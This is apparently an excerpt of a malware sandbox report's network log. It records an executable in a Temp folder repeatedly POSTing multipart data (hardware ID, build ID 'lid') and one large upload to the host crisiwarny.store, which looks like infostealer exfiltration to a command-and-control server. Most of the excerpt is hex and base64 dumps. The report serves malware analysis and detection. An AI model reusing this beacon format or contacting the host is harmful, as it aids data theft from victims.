M15KZZQOhsR6VT1L2rG6UhS5AErEEsZAQbNdTDpmF30xXsmlRp9UBr6EKFmQOfdD3bfRThUVFoFBYIieKXVEfvSPXfZNWNQGPdUsiFcodsGM4YBOFdUXwMGjCt44JNV/cx7LJYUcVoZ9RijZUTg0AF81UR0EBJeHkrVbUHmjUbsxj0w1wk0XBqxTO1uV+vWBHbRRDdRVVQABockeOOUWO7JcSGeHnhVG/sXoC8LodsSM4YBGFlfdw0Gim1vq4IR
2024-10-26 03:55:32 UTC	1369	IN	Data Raw: 66 5a 53 44 52 74 45 65 45 45 72 69 31 30 39 39 38 63 65 4e 4e 4e 64 45 45 63 51 45 59 4e 67 57 30 6f 70 5a 31 65 39 63 6c 79 4c 70 41 63 65 56 34 66 39 42 57 72 61 30 2f 72 33 41 78 31 33 30 51 2b 58 56 4e 54 44 77 32 46 4b 6e 50 33 32 78 2b 38 7a 57 56 76 77 56 42 64 58 41 54 2f 42 4f 31 77 43 2f 69 63 44 58 2b 65 47 58 52 61 57 46 59 43 44 59 45 72 64 65 4f 57 55 50 50 4c 66 53 43 64 47 33 31 64 46 2f 77 52 6f 47 74 58 36 39 63 46 66 39 64 4e 4f 52 34 63 47 51 45 53 7a 58 55 77 31 4a 5a 66 38 73 31 72 62 34 5a 65 62 52 73 52 2f 56 54 31 4c 30 54 74 30 77 6c 38 33 55 49 31 56 45 42 4c 43 67 4f 46 4b 48 7a 75 6c 56 66 75 7a 48 49 6d 6d 68 4e 39 58 42 37 39 48 71 35 6f 42 61 2b 63 44 57 75 65 47 58 52 39 52 55 6b 4c 53 70 4a 6a 61 61 57 63 58 62 79 53 50 Data Ascii: fZSDRtEeEEri10998ceNNNdEEcQEYNgW0opZ1e9clyLpAceV4f9BWra0/r3Ax130Q+XVNTDw2FKnP32x+8zWVvwVBdXAT/BO1wC/icDX+eGXRaWFYCDYErdeOWUPPLfSCdG31dF/wRoGtX69cFf9dNOR4cGQESzXUw1JZf8s1rb4ZebRsR/VT1L0Tt0wl83UI1VEBLCgOFKHzulVfuzHImmhN9XB79Hq5oBa+cDWueGXR9RUkLSpJjaaWcXbySP
2024-10-26 03:55:32 UTC	1369	IN	Data Raw: 79 56 42 6e 34 48 61 6c 6e 52 75 48 59 44 6e 54 62 51 6a 68 56 56 56 6f 4a 44 6f 51 6a 65 65 72 62 48 37 7a 4e 5a 57 2f 42 55 46 56 41 46 66 30 5a 37 58 41 4c 2b 4a 77 4e 66 35 34 5a 64 46 4a 63 58 41 59 41 69 79 6c 31 34 35 46 55 2f 4d 46 2b 49 4a 30 57 63 46 51 57 2b 68 32 73 61 55 44 72 31 77 78 2b 33 55 63 79 48 68 77 5a 41 52 4c 4e 64 54 44 46 67 46 7a 77 7a 54 30 77 31 77 6b 30 58 42 71 78 54 4f 31 6b 53 65 58 62 43 6e 37 64 53 54 46 61 57 46 77 47 41 70 38 6c 63 4f 4b 4a 51 2f 7a 44 65 43 4f 61 45 48 42 64 48 2f 63 58 71 53 38 4c 6f 64 73 53 4d 34 59 42 47 56 4a 56 63 41 45 52 7a 54 49 2b 2f 4e 74 57 38 49 6f 6c 62 35 67 62 66 6c 51 62 38 68 4b 75 5a 45 44 72 33 51 31 37 30 31 4d 33 55 56 31 64 42 67 57 4c 4b 33 48 71 6e 56 62 31 79 33 55 6f 32 56 Data Ascii: yVBn4HalnRuHYDnTbQjhVVVoJDoQjeerbH7zNZW/BUFVAFf0Z7XAL+JwNf54ZdFJcXAYAiyl145FU/MF+IJ0WcFQW+h2saUDr1wx+3UcyHhwZARLNdTDFgFzwzT0w1wk0XBqxTO1kSeXbCn7dSTFaWFwGAp8lcOKJQ/zDeCOaEHBdH/cXqS8LodsSM4YBGVJVcAERzTI+/NtW8Iolb5gbflQb8hKuZEDr3Q1701M3UV1dBgWLK3HqnVb1y3Uo2V
2024-10-26 03:55:32 UTC	375	IN	Data Raw: 35 78 36 71 66 30 4c 32 30 30 6f 39 6e 6b 35 30 42 6d 73 5a 44 77 32 57 50 47 62 6f 69 31 61 38 39 54 4e 76 67 56 41 73 47 79 50 79 47 71 4e 6f 55 2f 43 52 4c 57 58 55 52 69 52 5a 52 56 5a 47 52 4d 30 72 4d 4c 33 49 48 37 7a 4f 62 47 2f 42 51 43 59 41 51 36 4a 44 2f 54 31 61 72 38 56 4b 5a 5a 34 5a 5a 68 41 53 53 30 5a 53 7a 57 70 7a 39 34 6c 58 2f 39 78 2b 61 4b 63 75 55 30 45 62 39 77 4f 38 55 58 76 6d 78 67 64 31 79 56 42 34 53 31 46 58 43 41 32 62 62 54 36 6c 6c 42 47 6b 38 7a 31 6e 32 53 38 36 47 77 36 78 54 4f 31 61 52 75 2f 53 44 57 58 50 44 42 4e 45 58 31 38 52 47 38 31 6a 4d 4f 50 62 43 61 79 45 50 53 75 49 55 43 77 4c 52 4b 70 42 2f 6a 67 56 73 38 4e 45 61 70 35 58 64 41 59 41 46 30 59 59 7a 58 55 77 6f 70 68 44 37 73 78 2b 4f 5a 70 58 53 6d 55 Data Ascii: 5x6qf0L200o9nk50BmsZDw2WPGboi1a89TNvgVAsGyPyGqNoU/CRLWXURiRZRVZGRM0rML3IH7zObG/BQCYAQ6JD/T1ar8VKZZ4ZZhASS0ZSzWpz94lX/9x+aKcuU0Eb9wO8UXvmxgd1yVB4S1FXCA2bbT6llBGk8z1n2S86Gw6xTO1aRu/SDWXPDBNEX18RG81jMOPbCayEPSuIUCwLRKpB/jgVs8NEap5XdAYAF0YYzXUwophD7sx+OZpXSmU
2024-10-26 03:55:32 UTC	1369	IN	Data Raw: 32 36 64 62 0d 0a 73 6b 36 45 61 63 54 59 6c 59 5a 2b 68 57 54 55 57 76 73 33 51 6c 39 6e 48 41 69 55 30 4a 61 41 77 32 7a 45 33 37 69 6a 31 62 79 7a 48 31 76 31 31 42 37 47 30 37 49 56 4f 55 76 65 71 2b 63 45 6a 4f 47 41 51 46 64 58 46 63 42 48 4a 78 67 55 2f 4f 57 58 76 66 4c 50 57 48 5a 46 6a 51 44 52 72 39 55 71 58 34 46 75 59 78 59 4b 49 73 53 59 77 34 41 52 6b 67 54 7a 54 73 77 76 63 6b 66 76 4e 67 39 64 39 6c 58 65 6c 59 58 38 68 71 75 66 56 66 6e 33 78 78 77 6d 58 38 4b 66 31 39 53 43 67 65 43 4a 6b 37 62 75 6c 7a 33 78 6e 41 67 6b 69 35 4b 54 68 58 2f 47 71 70 35 56 4b 47 53 53 6e 79 65 47 51 30 65 47 68 6b 35 52 4d 30 31 4d 4c 33 62 5a 50 2f 45 63 79 69 50 41 54 6c 36 47 2f 6f 59 6f 47 42 4f 6f 5a 4a 4b 64 5a 34 5a 5a 42 41 53 58 52 64 4b 31 58 Data Ascii: 26dbsk6EacTYlYZ+hWTUWvs3Ql9nHAiU0JaAw2zE37ij1byzH1v11B7G07IVOUveq+cEjOGAQFdXFcBHJxgU/OWXvfLPWHZFjQDRr9UqX4FuYxYKIsSYw4ARkgTzTswvckfvNg9d9lXelYX8hqufVfn3xxwmX8Kf19SCgeCJk7bulz3xnAgki5KThX/Gqp5VKGSSnyeGQ0eGhk5RM01ML3bZP/EcyiPATl6G/oYoGBOoZJKdZ4ZZBASXRdK1X
2024-10-26 03:55:32 UTC	1369	IN	Data Raw: 62 38 4c 68 63 53 6d 65 43 6e 4e 64 4d 4e 46 55 34 79 39 4b 6f 59 51 7a 4d 35 59 42 43 78 41 53 51 55 5a 53 7a 52 68 7a 36 35 56 57 36 74 73 77 43 6f 34 54 5a 46 30 56 73 56 72 74 61 51 57 35 6a 45 51 7a 32 6c 42 30 42 67 49 4c 58 56 2f 65 65 69 43 33 68 42 2f 6c 69 6d 74 76 77 55 49 36 47 77 53 78 54 4f 30 6f 52 76 50 4f 44 48 44 49 51 6e 4e 67 62 48 38 46 47 34 63 4d 66 66 57 63 62 38 4c 66 66 69 47 58 46 32 4a 4b 56 72 39 55 6f 69 38 64 32 4a 78 43 50 39 68 43 49 68 35 74 46 30 59 53 7a 58 55 77 30 4a 68 66 38 73 31 72 50 74 51 32 64 30 6f 63 30 42 6d 39 61 41 57 76 6e 41 77 7a 68 68 4a 36 48 6c 5a 49 52 6c 4c 64 66 79 75 77 79 41 61 73 6d 47 4a 68 67 46 42 69 47 30 36 6a 57 75 31 39 42 62 6d 63 54 58 44 4d 55 7a 4a 64 52 46 70 42 4e 4c 4d 59 63 2b 75 Data Ascii: b8LhcSmeCnNdMNFU4y9KoYQzM5YBCxASQUZSzRhz65VW6tswCo4TZF0VsVrtaQW5jEQz2lB0BgILXV/eeiC3hB/limtvwUI6GwSxTO0oRvPODHDIQnNgbH8FG4cMffWcb8LffiGXF2JKVr9Uoi8d2JxCP9hCIh5tF0YSzXUw0Jhf8s1rPtQ2d0oc0Bm9aAWvnAwzhhJ6HlZIRlLdfyuwyAasmGJhgFBiG06jWu19BbmcTXDMUzJdRFpBNLMYc+u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49936	104.21.95.91	443	1420	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:33 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: crisiwarny.store
2024-10-26 03:55:33 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:55:33 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-26 03:55:34 UTC	1012	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=33mpmspkbueqr8k7668kj74tvt; expires=Tue, 18 Feb 2025 21:42:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rPx95yXJS75ly0woS27M9xT4tCDOSmHJp%2FOKTBy2djBxFT5v%2BskMru95Ivs1YVOrCoKc7Y%2FSqPgHpTL0Qv%2BzA7D83Q8FtCB3BJ8lK8lEQU7dRmFNbxhJDAYX8z2GaVf9bHIV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8782f0cc49f168-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=116298&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2838&recv_bytes=19130&delivery_rate=24839&cwnd=32&unsent_bytes=0&cid=776813ae93124007&ts=576&x=0"
2024-10-26 03:55:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 03:55:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49945	104.21.95.91	443	1420	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:35 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: crisiwarny.store
2024-10-26 03:55:35 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:55:35 UTC	1008	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fskc6fumi73rn0nehgtv0uh3vs; expires=Tue, 18 Feb 2025 21:42:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dmFwzG5GnbPae8ularRIIAW0qsw%2B4CtCEx5Fpine4nq0c2820d%2BWSRDcwPoQ80atJbbYMA7Br3yLfPRkmOrnTXyZ45KNT60P5z08PI4wKpu0nkgtPOi4T04qG0aWxnOOUn%2B2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8782fadd68b79d-AMS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=123182&sent=9&recv=15&lost=0&retrans=0&sent_bytes=2838&recv_bytes=9728&delivery_rate=23539&cwnd=32&unsent_bytes=0&cid=cb93ef51fc8316e0&ts=582&x=0"
2024-10-26 03:55:35 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 03:55:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49956	104.21.95.91	443	1420	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:37 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: crisiwarny.store
2024-10-26 03:55:37 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:55:37 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-26 03:55:37 UTC	1007	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v6jr01i46blak0mvp9bqfj84qv; expires=Tue, 18 Feb 2025 21:42:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dkkTYUiYllJW2I7ufAEJNLJPJpLCoiFQZbhpSRCXmQRJV8wTZIs5acX5IQebSpmyCrnKlASwAH2Mf87gPVathmgy9f%2BNlPTLbr1G71tJDUg96JLfggO9IjZJaTX85e%2FGQ62C"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8783059cba775a-AMS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=123431&sent=9&recv=23&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21404&delivery_rate=23531&cwnd=32&unsent_bytes=0&cid=2ce3fc74218a8738&ts=610&x=0"
2024-10-26 03:55:37 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 03:55:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49968	104.21.95.91	443	1420	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:39 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1279 Host: crisiwarny.store
2024-10-26 03:55:39 UTC	1279	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:55:39 UTC	1005	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=97q8c34m5qm30dupkn53r8klge; expires=Tue, 18 Feb 2025 21:42:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B%2FhNVseZnpx4oFRuhNrVzRqIxWF3T98Zvw5NXLa72sq0h0faiIoLqyq1MI5dOubbhh8eePztrv71jp1gYdnCdaX17vgYBjK0wKgdu142AzQH7dsQSQ6gkRBruMUQw3rEV%2FdU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d878313bc68bb27-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=117134&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2196&delivery_rate=24645&cwnd=32&unsent_bytes=0&cid=7f7e85803fc29a05&ts=457&x=0"
2024-10-26 03:55:39 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 03:55:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49981	104.21.95.91	443	1420	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:41 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549910 Host: crisiwarny.store
2024-10-26 03:55:41 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:55:41 UTC	15331	OUT	Data Raw: 18 f9 61 48 51 9a 26 0c e6 69 2a c2 1b 42 f3 5f 3a 8f 6b ff 5b d9 33 82 3b 81 93 b5 ac 78 86 32 4c f7 38 95 aa 95 e2 07 49 6d fc d4 75 8c 89 13 dd cb 36 7e 60 f2 29 70 3c 9c aa 7c ff 3c 02 ea 0d 51 1a 0a df 8d 1b 06 3c c9 31 b1 fe 3f 97 11 f6 55 00 4d 5c ce cd b6 f8 cb 80 ed 93 7c 74 1a 5b 41 cc 74 81 ee 69 2c 10 bb a2 0e 2b e5 13 92 43 7c 0b ce 3a 0b 0a 04 48 13 d7 6f 8c 9f 88 13 a0 cd 17 ab 4f c5 df 09 b7 db 88 08 38 16 b6 97 61 f4 87 90 ad b3 f3 41 94 71 10 5e 1f 94 74 04 f9 4f e6 41 70 36 54 29 85 3f d2 0c 17 ee 07 0e 5a 9d 80 5c cd f3 16 44 aa 6f 5c 5a 14 b8 f1 6f cb c7 01 97 be b1 be 77 69 23 f6 43 4e ef d0 a1 9a f5 1b 57 a9 50 81 7d 45 87 49 c9 d5 c4 10 d7 c9 b4 28 14 dc bb df 47 c4 08 13 8a 4c 3b 31 34 2d 07 03 92 fc e3 a9 b9 a0 38 d8 d1 65 cd a1 Data Ascii: 